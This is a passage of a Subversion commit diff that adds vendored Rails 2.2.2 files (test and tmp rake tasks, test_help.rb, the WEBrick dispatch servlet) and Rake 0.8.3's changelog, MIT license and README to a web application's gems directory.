+    t.pattern = 'test/functional/**/*_test.rb'
+    t.verbose = true
+  end
+  Rake::Task['test:functionals'].comment = "Run the functional tests in test/functional"
+
+  Rake::TestTask.new(:integration => "db:test:prepare") do |t|
+    t.libs << "test"
+    t.pattern = 'test/integration/**/*_test.rb'
+    t.verbose = true
+  end
+  Rake::Task['test:integration'].comment = "Run the integration tests in test/integration"
+
+  Rake::TestTask.new(:benchmark => 'db:test:prepare') do |t|
+    t.libs << 'test'
+    t.pattern = 'test/performance/**/*_test.rb'
+    t.verbose = true
+    t.options = '-- --benchmark'
+  end
+  Rake::Task['test:benchmark'].comment = 'Benchmark the performance tests'
+
+  Rake::TestTask.new(:profile => 'db:test:prepare') do |t|
+    t.libs << 'test'
+    t.pattern = 'test/performance/**/*_test.rb'
+    t.verbose = true
+  end
+  Rake::Task['test:profile'].comment = 'Profile the performance tests'
+
+  Rake::TestTask.new(:plugins => :environment) do |t|
+    t.libs << "test"
+
+    if ENV['PLUGIN']
+      t.pattern = "vendor/plugins/#{ENV['PLUGIN']}/test/**/*_test.rb"
+    else
+      t.pattern = 'vendor/plugins/*/**/test/**/*_test.rb'
+    end
+
+    t.verbose = true
+  end
+  Rake::Task['test:plugins'].comment = "Run the plugin tests in vendor/plugins/*/**/test (or specify with PLUGIN=name)"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/tmp.rake
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/tmp.rake	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/tmp.rake	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,37 @@
+namespace :tmp do
+  desc "Clear session, cache, and socket files from tmp/"
+  task :clear => [ "tmp:sessions:clear",  "tmp:cache:clear", "tmp:sockets:clear"]
+
+  desc "Creates tmp directories for sessions, cache, and sockets"
+  task :create do
+    FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids ))
+  end
+
+  namespace :sessions do
+    desc "Clears all files in tmp/sessions"
+    task :clear do
+      FileUtils.rm(Dir['tmp/sessions/[^.]*'])
+    end
+  end
+
+  namespace :cache do
+    desc "Clears all files and directories in tmp/cache"
+    task :clear do
+      FileUtils.rm_rf(Dir['tmp/cache/[^.]*'])
+    end
+  end
+
+  namespace :sockets do
+    desc "Clears all files in tmp/sockets"
+    task :clear do
+      FileUtils.rm(Dir['tmp/sockets/[^.]*'])
+    end
+  end
+
+  namespace :pids do
+    desc "Clears all files in tmp/pids"
+    task :clear do
+      FileUtils.rm(Dir['tmp/pids/[^.]*'])
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/test_help.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/test_help.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/test_help.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+require_dependency 'application'
+
+# Make double-sure the RAILS_ENV is set to test,
+# so fixtures are loaded to the right database
+silence_warnings { RAILS_ENV = "test" }
+
+require 'test/unit'
+require 'active_support/test_case'
+require 'active_record/fixtures'
+require 'action_controller/test_case'
+require 'action_controller/integration'
+require 'action_mailer/test_case' if defined?(ActionMailer)
+
+Test::Unit::TestCase.fixture_path = RAILS_ROOT + "/test/fixtures/"
+ActionController::IntegrationTest.fixture_path = Test::Unit::TestCase.fixture_path
+
+def create_fixtures(*table_names)
+  Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names)
+end
+
+begin
+  require_library_or_gem 'ruby-debug'
+  Debugger.start
+  Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings)
+rescue LoadError
+  # ruby-debug wasn't available so neither can the debugging be
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/webrick_server.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/webrick_server.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/webrick_server.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,156 @@
+# Donated by Florian Gross
+
+require 'webrick'
+require 'cgi'
+require 'stringio'
+require 'dispatcher'
+
+include WEBrick
+
+class CGI #:nodoc:
+  def stdinput
+    @stdin || $stdin
+  end
+  
+  def env_table
+    @env_table || ENV
+  end
+  
+  def initialize(type = "query", table = nil, stdin = nil)
+    @env_table, @stdin = table, stdin
+
+    if defined?(MOD_RUBY) && !ENV.key?("GATEWAY_INTERFACE")
+      Apache.request.setup_cgi_env
+    end
+
+    extend QueryExtension
+    @multipart = false
+    if defined?(CGI_PARAMS)
+      warn "do not use CGI_PARAMS and CGI_COOKIES"
+      @params = CGI_PARAMS.dup
+      @cookies = CGI_COOKIES.dup
+    else
+      initialize_query()  # set @params, @cookies
+    end
+    @output_cookies = nil
+    @output_hidden = nil
+  end
+end
+
+# A custom dispatch servlet for use with WEBrick. It dispatches requests
+# (using the Rails Dispatcher) to the appropriate controller/action. By default,
+# it restricts WEBrick to a managing a single Rails request at a time, but you
+# can change this behavior by setting ActionController::Base.allow_concurrency
+# to true.
+class DispatchServlet < WEBrick::HTTPServlet::AbstractServlet
+  # Start the WEBrick server with the given options, mounting the
+  # DispatchServlet at <tt>/</tt>.
+  def self.dispatch(options = {})
+    Socket.do_not_reverse_lookup = true # patch for OS X
+
+    params = { :Port        => options[:port].to_i,
+               :ServerType  => options[:server_type],
+               :BindAddress => options[:ip] }
+    params[:MimeTypes] = options[:mime_types] if options[:mime_types]
+
+    server = WEBrick::HTTPServer.new(params)
+    server.mount('/', DispatchServlet, options)
+
+    trap("INT") { server.shutdown }
+    server.start
+  end
+
+  def initialize(server, options) #:nodoc:
+    @server_options = options
+    @file_handler = WEBrick::HTTPServlet::FileHandler.new(server, options[:server_root])
+    # Change to the RAILS_ROOT, since Webrick::Daemon.start does a Dir::cwd("/")
+    # OPTIONS['working_directory'] is an absolute path of the RAILS_ROOT, set in railties/lib/commands/servers/webrick.rb
+    Dir.chdir(OPTIONS['working_directory']) if defined?(OPTIONS) && File.directory?(OPTIONS['working_directory'])
+    super
+  end
+
+  def service(req, res) #:nodoc:
+    unless handle_file(req, res)
+      unless handle_dispatch(req, res)
+        raise WEBrick::HTTPStatus::NotFound, "`#{req.path}' not found."
+      end
+    end
+  end
+
+  def handle_file(req, res) #:nodoc:
+    begin
+      req = req.dup
+      path = req.path.dup
+
+      # Add .html if the last path piece has no . in it
+      path << '.html' if path != '/' && (%r{(^|/)[^./]+$} =~ path) 
+      path.gsub!('+', ' ') # Unescape + since FileHandler doesn't do so.
+
+      req.instance_variable_set(:@path_info, path) # Set the modified path...
+
+      @file_handler.send(:service, req, res)      
+      return true
+    rescue HTTPStatus::PartialContent, HTTPStatus::NotModified => err
+      res.set_error(err)
+      return true
+    rescue => err
+      return false
+    end
+  end
+
+  def handle_dispatch(req, res, origin = nil) #:nodoc:
+    data = StringIO.new
+    Dispatcher.dispatch(
+      CGI.new("query", create_env_table(req, origin), StringIO.new(req.body || "")), 
+      ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS, 
+      data
+    )
+
+    header, body = extract_header_and_body(data)
+
+    set_charset(header)
+    assign_status(res, header)
+    res.cookies.concat(header.delete('set-cookie') || [])
+    header.each { |key, val| res[key] = val.join(", ") }
+    
+    res.body = body
+    return true
+  rescue => err
+    p err, err.backtrace
+    return false
+  end
+  
+  private
+    def create_env_table(req, origin)
+      env = req.meta_vars.clone
+      env.delete "SCRIPT_NAME"
+      env["QUERY_STRING"] = req.request_uri.query
+      env["REQUEST_URI"]  = origin if origin
+      return env
+    end
+    
+    def extract_header_and_body(data)
+      data.rewind
+      data = data.read
+
+      raw_header, body = *data.split(/^[\xd\xa]{2}/on, 2)
+      header = WEBrick::HTTPUtils::parse_header(raw_header)
+      
+      return header, body
+    end
+    
+    def set_charset(header)
+      ct = header["content-type"]
+      if ct.any? { |x| x =~ /^text\// } && ! ct.any? { |x| x =~ /charset=/ }
+        ch = @server_options[:charset] || "UTF-8"
+        ct.find { |x| x =~ /^text\// } << ("; charset=" + ch)
+      end
+    end
+
+    def assign_status(res, header)
+      if /^(\d+)/ =~ header['status'][0]
+        res.status = $1.to_i
+        header.delete('status')
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/CHANGES
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/CHANGES	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/CHANGES	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,400 @@
+
+= Rake Changelog
+
+== Version 0.8.3
+
+* Enhanced the system directory detection in windows. We now check
+  HOMEDRIVE/HOMEPATH and USERPROFILE if APPDATA isn't found. (Patch
+  supplied by James Tucker). Rake no long aborts if it can't find the
+  directory.
+
+* Added fix to handle ruby installations in directories with spaces in
+  their name.  
+
+== Version 0.8.2
+
+* Fixed bug in package task so that it will include the subdir
+  directory in the package for testing. (Bug found by Adam Majer)
+
+* Added ENV var to rakefile to prevent OS X from including extended
+  attribute junk in a tar file. (Bug found by Adam Majer)
+
+* Fixed filename dependency order bug in test_inspect_pending and
+  test_to_s_pending. (Bug found by Adam Majer)
+
+* Fixed check for file utils options to make them immune to the
+  symbol/string differences. (Patch supplied by Edwin Pratomo)
+
+* Fixed bug with rules involving multiple source (Patch supplied by
+  Emanuel Indermühle)
+
+* Switched from getoptlong to optparse (patches supplied by Edwin
+  Pratomo)
+
+* The -T option will now attempt to dynamically sense the size of the
+  terminal.  RAKE_COLUMNS will override any dynamic sensing.
+
+* FileList#clone and FileList#dup have better sematics w.r.t. taint
+  and freeze.
+
+* Added ability clear prerequisites, and/or actions from an existing
+  task.
+
+* Added the ability to reenable a task to be invoked a second time.
+
+* Changed RDoc test task to have no default template. This makes it
+  easier for the tempate to pick up the template from the environment.
+
+* Changed from using Mutex to Monitor. Evidently Mutex causes thread
+  join errors when Ruby is compiled with -disable-pthreads. (Patch
+  supplied by Ittay Dror) 
+
+* Fixed bug in makefile parser that had problems with extra spaces in
+  file task names. (Patch supplied by Ittay Dror)
+
+* Added a performance patch for reading large makefile dependency
+  files. (Patch supplied by Ittay Dror)
+
+* Default values for task arguments can easily be specified with the
+  :with_defaults method. (Idea for default argument merging supplied
+  by (Adam Q. Salter)
+
+* The -T output will only self-truncate if the output is a tty.
+  However, if RAKE_COLUMNS is explicitly set, it will be honored in
+  any case. (Patch provided by Gavin Stark).
+
+* Numerous fixes for running under windows. A big thanks to Bheeshmar
+  Redheendran for spending a good part of the afternoon at the
+  Lonestar Ruby Conference to help me work out these issues.
+
+== Version 0.8.1
+
+* Removed requires on parsedate.rb (in Ftptools)
+* Removed ftools from rake.rb.  Made it options in sys.rb
+
+== Version 0.8.0
+
+* Added task parameters (e.g. "rake build[version7]")
+* Made task parameters passable to prerequisites.
+* Comments are limited to 80 columns or so (suggested by Jamis Buck).
+* Added -D to display full comments (suggested by Jamis Buck).
+* The rake program will set the status value used in any explicit
+  exit(n) calls. (patch provided by Stephen Touset)
+* Fixed error in functional tests that were not including session (and
+  silently skipping the functionl tests.
+* Removed --usage and make -h the same as -H.
+* Make a prettier inspect for tasks.
+
+== Version 0.7.3
+
+* Added existing and existing! methods to FileList
+* FileLists now claim to be Arrays (via is_a?) to get better support
+  from the FileUtil module.
+* Added init and top_level for custom rake applications.
+
+== Version 0.7.2
+
+* Error messages are now send to stderr rather than stdout (from
+  Payton Quackenbush).
+* Better error handling on invalid command line arguments (from Payton
+  Quackenbush).
+* Added rcov task and updated unit testing for better code coverage.
+* Fixed some bugs where the application object was going to the global
+  appliation instead of using its own data.
+* Added square and curly bracket patterns to FileList#include (Tilman
+  Sauerbeck). 
+* Added plain filename support to rule dependents (suggested by Nobu
+  Nakada). 
+* Added pathmap support to rule dependents.
+* Added a 'tasks' method to a namespace to get a list of tasks
+  associated with the namespace.
+* Fixed the method name leak from FileUtils (bug found by Glenn
+  Vanderburg). 
+* Added rake_extension to handle detection of extension collisions.
+* Added test for noop, bad_option and verbose flags to sh command.
+* Removed dependency on internal fu_xxx functions from FileUtils.
+* Added a 'shame' task to the Rakefile.
+* Added tar_command and zip_command options to the Package task.
+* Added a description to the gem task in GemPackageTask.
+* Fixed a bug when rules have multiple prerequisites (patch by Joel
+  VanderWerf)
+* Added a protected 'require "rubygems"' to test/test_application to
+  unbreak cruisecontrol.rb.
+* Added the handful of RakeFileUtils to the private method as well.
+* Added block based exclusion.
+* The clean task will no longer delete 'core' if it is a directory.
+* Removed rake_dup.  Now we just simply rescue a bad dup.
+* Refactored the FileList reject logic to remove duplication.
+* Removed if __FILE__ at the end of the rake.rb file.
+
+== Version 0.7.1
+
+* Added optional filter parameter to the --tasks command line option.
+* Added flatten to allow rule transform procs to return lists of
+  prereqs (Joel VanderWerf provided patch).
+* Added pathmap to String and FileList.
+* The -r option will now load .rake files (but a straight require
+  doesn't yet).  NOTE: This is experimental ... it may be
+  discontinued.
+* The -f option without a value will disable the search for a
+  Rakefile.  The assumption is that the -r files are adequate.
+* Fixed the safe_ln function to fall back to cp in more error
+  scenarios.
+
+== Version 0.7.0
+
+* Added Rake.original_dir to return the original starting directory of
+  the rake application.
+* Added safe_ln support for openAFS (from Ludvig Omholt).
+* Added --trace reminder on short exception messages (David Heinemeier
+  Hansson suggestion).
+* Added multitask declaration that executes prerequisites in
+  parallel. (Doug Young providied an initial implementation).
+* Fixed missing_const hack to be compatible with Rails. (Jamis Buck
+  supplied test case).
+* Made the RDoc task default to internal (in-process) RDoc formatting.
+  The old behavior is still available by setting the +external+ flag
+  to true.
+* Rakefiles are now loaded with the expanded path to prevent
+  accidental polution from the Ruby load path.
+* The +namespace+ command now returns a NameSpace object that can be
+  used to lookup tasks defined in that namespace.  This allows for
+  better anonymous namespace behavior.
+* Task objects my now be used in prerequisite lists directly.
+
+== Version 0.6.1
+
+* Rebuilt 0.6.0 gem without signing.
+
+== Version 0.6.0
+
+* Fixed file creation bug in the unit tests (caused infinite loop on
+  windows).
+* Fixed bug where session based functional tests were run under
+  windows.
+* Fixed bug in directory tasks so that updating a directory will not
+  retrigger file tasks depending on the directory (see
+  FileCreationTask and EarlyTime).
+* Added egrep to FileList
+* ruby command now runs same ruby version as rake.
+* Added investigation to task object. (suggested by Martin Fowler)
+* Added ruby_opts to the test task to allow arbitrary ruby options to
+  be passed to the test script. (Greg Fast)
+* Fixed the test loader to ignore options. (Greg Fast)
+* Moved Task, FileTask, FileCreationTask and RakeApp into the Rake
+  module namespace.  Old style namespace behavior can be invoked via
+  the --classic-namespace option. (requested by Kelly Felkins).
+* GemTask is now sensitive to the gem platform (Masao Mutoh).
+* A non-existing file prerequisite will no longer cause an exception
+  (Philipp Neubeck).
+* Multiple prerequisites on Rake rules now allowed (initial patch
+  supplied by Stuart Jansen).
+
+== Version 0.5.4
+
+* Added double quotes to the test runner.
+* Added .svn to default ignore list.
+* Updated FileList#include to support nested arrays and filelists.
+
+== Version 0.5.3
+
+* Added support for importing Rakefile and other dependencies.
+* Fixed bug so that now rules can chain off of existing tasks as well
+  as existing files.
+* Fixed verbose flag bug in the testing task.  Shortened some failure
+  messages.
+* Make FileUtils methods private at the top level module to avoid
+  accidental method leaking into other objects.
+* Added test loader option to test task.  "testrb" is no longer the
+  default test loader.  It is now eating syntax errors that should
+  halt the unit tests.
+* Revamped FileList so that it works more like and array (addressed
+  flatten bug).  Added many tests around file list.
+* Added +ext+ method to both String and FileList.
+
+== Version 0.5.0
+
+* Fixed documentation that was lacking the Rake module name (Tilman
+  Sauerbeck).
+* Added tar.gz and tar.bz2 support to package task (Tilman Sauerbeck).
+* Recursive rules are now supported (Tilman Sauerbeck).
+* Added warning option for the Test Task (requested by Eric Hodel).
+* The jamis rdoc template is only used if it exists.
+* Added fix for Ruby 1.8.2 test/unit and rails problem.
+* Added contributed rake man file (Jani Monoses).
+* Added Brian Candler's fix for problems in --trace and --dry-run
+  mode.
+
+== Version 0.4.15
+
+* Fixed a bug that prevented the TESTOPTS flag from working with the
+  revised for 1.8.2 test task.
+* Updated the docs on --trace to indicate that it also enables a full
+  backtrace on errors. 
+
+== Version 0.4.14
+
+* Modified the TestTask to workaround the Ruby 1.8.2 change in
+  autoexecuting unit tests.
+
+== Version 0.4.13
+
+* Fixed the dry-run flag so it is operating again.
+* Multiple arguments to sh and ruby commands will not be interpreted
+  by the shell (patch provided by Jonathan Paisley).
+
+== Version 0.4.12
+
+* Added --silent (-s) to suppress the (in directory) rake message.
+
+== Version 0.4.11
+
+* Changed the "don't know how to rake" message (finally)
+* Changes references to a literal "Rakefile" to reference the global
+  variable $rakefile (which contains the actual name of the rakefile).
+
+== Version 0.4.10
+
+* Added block support to the "sh" command, allowing users to take
+  special actions on the result of the system call.  E.g.
+
+    sh "shell_command" do |ok, res|
+      puts "Program returned #{res.exitstatus}" if ! ok
+    end
+
+== Version 0.4.9
+
+* Switched to Jamis Buck's RDoc template.
+* Removed autorequire from Rake's gem spec.  This prevents the Rake
+  libraries from loading while using rails.
+
+== Version 0.4.8
+
+* Added support for .rb versions of Rakefile.
+* Removed \\\n's from test task.
+* Fixed Ruby 1.9 compatibility issue with FileList.
+
+== Version 0.4.7
+
+* Fixed problem in FileList that caused Ruby 1.9 to go into infinite
+  recursion.  Since to_a was removed from Object, it does not need to
+  added back into the list of methods to rewrite in FileList.  (Thanks
+  to Kent Sibilev for pointing this out).
+
+== Version 0.4.6
+* Removed test version of ln in FileUtils that prevented safe_ln from
+  using ln.
+
+== Version 0.4.5
+* Upgraded comments in TestTask.
+* FileList to_s and inspect now automatically resolve pending changes.
+* FileList#exclude properly returns the FileList.
+
+== Version 0.4.4
+* Fixed initialization problem with @comment.
+* Now using multi -r technique in TestTask.  Switch Rakefile back to
+  using the built-in test task macros because the rake runtime is no
+  longer needed.
+* Added 'TEST=filename' and 'TESTOPTS=options' to the Test Task
+  macros.
+* Allow a +test_files+ attribute in test tasks.  This allows more
+  flexibility in specifying test files.
+
+== Version 0.4.3
+* Fixed Comment leakage.
+
+== Version 0.4.2
+* Added safe_ln that falls back to a copy if a file link is not supported.
+* Package builder now uses safe_ln.
+
+== Version 0.4.1
+* Task comments are now additive, combined with "/".
+* Works with (soon to be released) rubygems 0.6.2 (or 0.7.0)
+
+== Version 0.4.0
+* FileList now uses deferred loading.  The file system is not searched
+  until the first call that needs the file names.
+* VAR=VALUE options are now accepted on the command line and are
+  treated like environment variables.  The values may be tested in a
+  Rakefile by referencing ENV['VAR'].
+* File.mtime is now used (instead of File.new().mtime).
+
+== Version 0.3.2.x
+
+* Removed some hidden dependencies on rubygems.  Tests now will test
+  gems only if they are installed.
+* Removed Sys from some example files.  I believe that is that last
+  reference to Sys outside of the contrib area.
+* Updated all copyright notices to include 2004.
+
+== Version 0.3.2
+
+* GEM Installation now works with the application stub.
+
+== Version 0.3.1
+
+* FileLists now automatically ignore CVS, .bak, !
+* GEM Installation now works.
+
+== Version 0.3.0
+
+Promoted 0.2.10.
+
+== Version 0.2.10
+General
+
+* Added title to Rake's rdocs
+* Contrib packages are no longer included in the documentation.
+
+RDoc Issues
+
+* Removed default for the '--main' option
+* Fixed rendering of the rdoc options
+* Fixed clean/clobber confusion with rerdoc
+* 'title' attribute added
+
+Package Task Library Issues
+
+* Version (or explicit :noversion) is required.
+* +package_file+ attribute is now writable
+
+FileList Issues
+
+* Dropped bang version of exclude.  Now using ant-like include/exclude semantics.
+* Enabled the "yield self" idiom in FileList#initialize.
+
+== Version 0.2.9
+
+This version contains numerous changes as the RubyConf.new(2003)
+presentation was being prepared.  The changes include:
+
+* The monolithic rubyapp task library is in the process of being
+  dropped in favor of lighter weight task libraries.
+
+== Version 0.2.7
+
+* Added "desc" for task descriptions.
+* -T will now display tasks with descriptions.
+* -P will display tasks and prerequisites.
+* Dropped the Sys module in favor of the 1.8.x FileUtils module.  Sys
+  is still supported in the contrib area.
+
+== Version 0.2.6
+
+* Moved to RubyForge
+
+== Version 0.2.5
+
+* Switched to standard ruby app builder.
+* Added no_match option to file matcher.
+
+== Version 0.2.4
+
+* Fixed indir, which neglected to actually change directories.
+
+== Version 0.2.3
+
+* Added rake module for a help target
+* Added 'for_files' to Sys
+* Added a $rakefile constant
+* Added test for selecting proper rule with multiple targets.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/MIT-LICENSE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/MIT-LICENSE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/MIT-LICENSE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+Copyright (c) 2003, 2004 Jim Weirich
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,285 @@
+= RAKE -- Ruby Make 
+
+Supporting Rake version: 0.8.2
+
+This package contains Rake, a simple ruby build program with
+capabilities similar to make.
+
+Rake has the following features:
+
+* Rakefiles (rake's version of Makefiles) are completely defined in
+  standard Ruby syntax.  No XML files to edit.  No quirky Makefile
+  syntax to worry about (is that a tab or a space?)
+
+* Users can specify tasks with prerequisites.
+
+* Rake supports rule patterns to synthesize implicit tasks.
+
+*  Flexible FileLists that act like arrays but know about manipulating
+   file names and paths.
+
+* A library of prepackaged tasks to make building rakefiles easier.
+
+== Download
+
+The latest version of rake can be found at
+
+* http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Source Repository
+
+Rake is currently hosted at github. The github web page is
+http://github.com/jimweirich/rake. The public git clone URL is
+
+* git://github.com/jimweirich/rake.git
+
+== Installation
+
+=== Normal Installation
+
+You can install rake with the following command.
+
+  % ruby install.rb
+
+from its distribution directory.
+
+=== GEM Installation
+
+Download and install  rake with the following.
+
+   gem install --remote rake
+
+=== Running the Rake Test Suite
+
+If you wish to run the unit and functional tests that come with Rake:
+
+* Install the 'session' gem in order to run the functional tests. adf
+  asdf asdf
+* CD into the top project directory of rake.
+* Type one of the following:
+
+     rake                  # If you have a version of rake installed
+     ruby -Ilib bin/rake   # If you do not have a version of rake installed.
+
+== Online Resources
+
+== Rake References
+
+* Rake Documentation Home: http://docs.rubyrake.org
+* Rake Project Page: http://rubyforge.org/projects/rake
+* Rake API Documents: http://rake.rubyforge.org
+* Rake Source Code Repo:  http://github.com/jimweirich/rake
+* Rake Git Repo Clone URL: git://github.com/jimweirich/rake.git
+
+== Presentations and Articles about Rake
+
+* Jim Weirich's 2003 RubyConf presentation: http://onestepback.org/articles/buildingwithrake/
+* Martin Fowler's article on Rake: http://martinfowler.com/articles/rake.html
+
+=== Road Map
+
+* If you want to see how to invoke rake to build your projects, read on.
+* If you want to see the format of a Rakefile, see
+  doc/rakefile.rdoc[http://rake.rubyforge.org/files/doc/rakefile_rdoc.html].
+* If you want to see the original announcement of rake, see
+  doc/rational.rdoc[http://rake.rubyforge.org/files/doc/rational_rdoc.html].
+* If you want to see a glossary of terms, see
+  doc/glossary.rdoc[http://rake.rubyforge.org/files/doc/glossary_rdoc.html].
+
+== Simple Example
+
+Once installed, you can run rake as follows ...
+
+  % rake [options ...]  [VAR=VALUE ...]  [tasks...]
+
+Type "rake --help" for an up-to-date option summary.
+
+Invoking <tt>rake</tt> without any options or targets causes rake to
+look for a rakefile and invoke the default task in that rakefile.
+
+For example, given a simple rakefile like this ...
+
+  task :default => [:test]
+
+  task :test do
+    ruby "test/unittest.rb"
+  end
+
+The command 
+
+  $ rake
+
+will invoke the +default+ task.  As +default+ satisfies its
+prerequisites, the +test+ task will run the unit tests for the
+package.
+
+== Other Make Reinvisionings ...
+
+Rake is a late entry in the make replacement field.  Here are links to
+other projects with similar (and not so similar) goals.
+
+* http://directory.fsf.org/bras.html -- Bras, one of earliest
+  implementations of "make in a scripting language".
+* http://www.a-a-p.org -- Make in Python
+* http://www.aromatic.com/tools/jam.txt -- JAM, Java Automated Make
+* http://ant.apache.org -- The Ant project
+* http://ppt.perl.org/commands/make/index.html -- Make from the Perl
+  Power Tools implementation.
+* http://search.cpan.org/search?query=PerlBuildSystem -- The Perl Build System
+* http://make.rubyforge.org -- Rant, another Ruby make tool.
+
+== Credits
+
+[<b>Ryan Dlugosz</b>] For the initial conversation that sparked Rake.
+
+[<b>nobu.nokada at softhome.net</b>] For the initial patch for rule support.
+
+[<b>Tilman Sauerbeck <tilman at code-monkey.de></b>] For the recursive rule patch.
+
+== License
+
+Rake is available under an MIT-style license.
+
+:include: MIT-LICENSE
+
+== Support
+
+The Rake homepage is http://rake.rubyforge.org.  You can find the Rake
+RubyForge page at http://rubyforge.org/projects/rake.
+
+Feel free to submit commits or feature requests.  If you send a patch,
+remember to update the corresponding unit tests.  If fact, I prefer
+new feature to be submitted in the form of new unit tests.
+
+For other information, feel free to ask on the ruby-talk mailing list
+(which is mirrored to comp.lang.ruby) or contact
+mailto:jim at weirichhouse.org.
+
+----
+
+= Usage
+
+Rake is invoked from the command line using:
+
+   % rake [<em>options</em> ...]  [<em>VAR</em>=<em>VALUE</em>]  [<em>targets</em> ...]
+
+Options are:
+
+[<tt><em>name</em>=<em>value</em></tt>]
+    Set the environment variable <em>name</em> to <em>value</em>
+    during the execution of the <b>rake</b> command.  You can access
+    the value by using ENV['<em>name</em>'].  
+
+[<tt>--classic-namespace</tt> (-n)]
+    Import the Task, FileTask, and FileCreateTask into the top-level
+    scope to be compatible with older versions of Rake.  Alternatively
+    you can include the line <code>require
+    'rake/classic_namespace'</code> in your Rakefile to get the
+    classic behavior.
+
+[<tt>--describe</tt> _pattern_ (-D)]
+    Describe the tasks (matching optional PATTERN), then exit.
+
+[<tt>--dry-run</tt> (-n)]
+    Do a dry run.  Print the tasks invoked and executed, but do not
+    actually execute any of the actions.
+
+[<tt>--execute</tt> _code_ (-e)]
+    Execute some Ruby code and exit.
+
+[<tt>--execute-print</tt> _code_ (-p)]
+    Execute some Ruby code, print the result, and exit.
+
+[<tt>--execute-continue</tt> _code_ (-p)]
+    Execute some Ruby code, then continue with normal task processing.
+
+[<tt>--help</tt>  (-H)]
+    Display some help text and exit.
+
+[<tt>--libdir</tt> _directory_  (-I)]
+    Add _directory_ to the list of directories searched for require.
+
+[<tt>--nosearch</tt>  (-N)]
+    Do not search for a Rakefile in parent directories.
+
+[<tt>--prereqs</tt>  (-P)]
+    Display a list of all tasks and their immediate prerequisites.
+
+[<tt>--quiet</tt> (-q)]
+    Do not echo commands from FileUtils.
+
+[<tt>--rakefile</tt> _filename_ (-f)]
+    Use _filename_ as the name of the rakefile. The default rakefile
+    names are +rakefile+ and +Rakefile+ (with +rakefile+ taking
+    precedence). If the rakefile is not found in the current
+    directory, +rake+ will search parent directories for a match. The
+    directory where the Rakefile is found will become the current
+    directory for the actions executed in the Rakefile.
+
+[<tt>--rakelibdir</tt> _rakelibdir_ (-R)]
+    Auto-import any .rake files in RAKELIBDIR. (default is 'rakelib')
+
+[<tt>--require</tt> _name_ (-r)]
+    Require _name_ before executing the Rakefile.
+
+[<tt>--rules</tt>]
+    Trace the rules resolution.
+
+[<tt>--silent (-s)]
+    Like --quiet, but also suppresses the 'in directory' announcement.
+
+[<tt>--system</tt> (-g)]
+    Use the system wide (global) rakefiles. The project Rakefile is
+    ignored. By default, the system wide rakefiles are used only if no
+    project Rakefile is found. On Unix-like system, the system wide
+    rake files are located in $HOME/.rake. On a windows system they
+    are stored in $APPDATA/Rake.
+
+[<tt>--no-system</tt> (-G)]
+    Use the project level Rakefile, ignoring the system-wide (global)
+    rakefiles.
+
+[<tt>--tasks</tt> (-T)]
+    Display a list of the major tasks and their comments.  Comments
+    are defined using the "desc" command.
+
+[<tt>--trace</tt> (-t)]
+    Turn on invoke/execute tracing. Also enable full backtrace on
+    errors.
+
+[<tt>--usage</tt> (-h)]
+    Display a usage message and exit.
+
+[<tt>--verbose</tt> (-v)]
+    Echo the Sys commands to standard output.
+
+[<tt>--version</tt> (-V)]
+    Display the program version and exit.
+
+In addition, any command line option of the form
+<em>VAR</em>=<em>VALUE</em> will be added to the environment hash
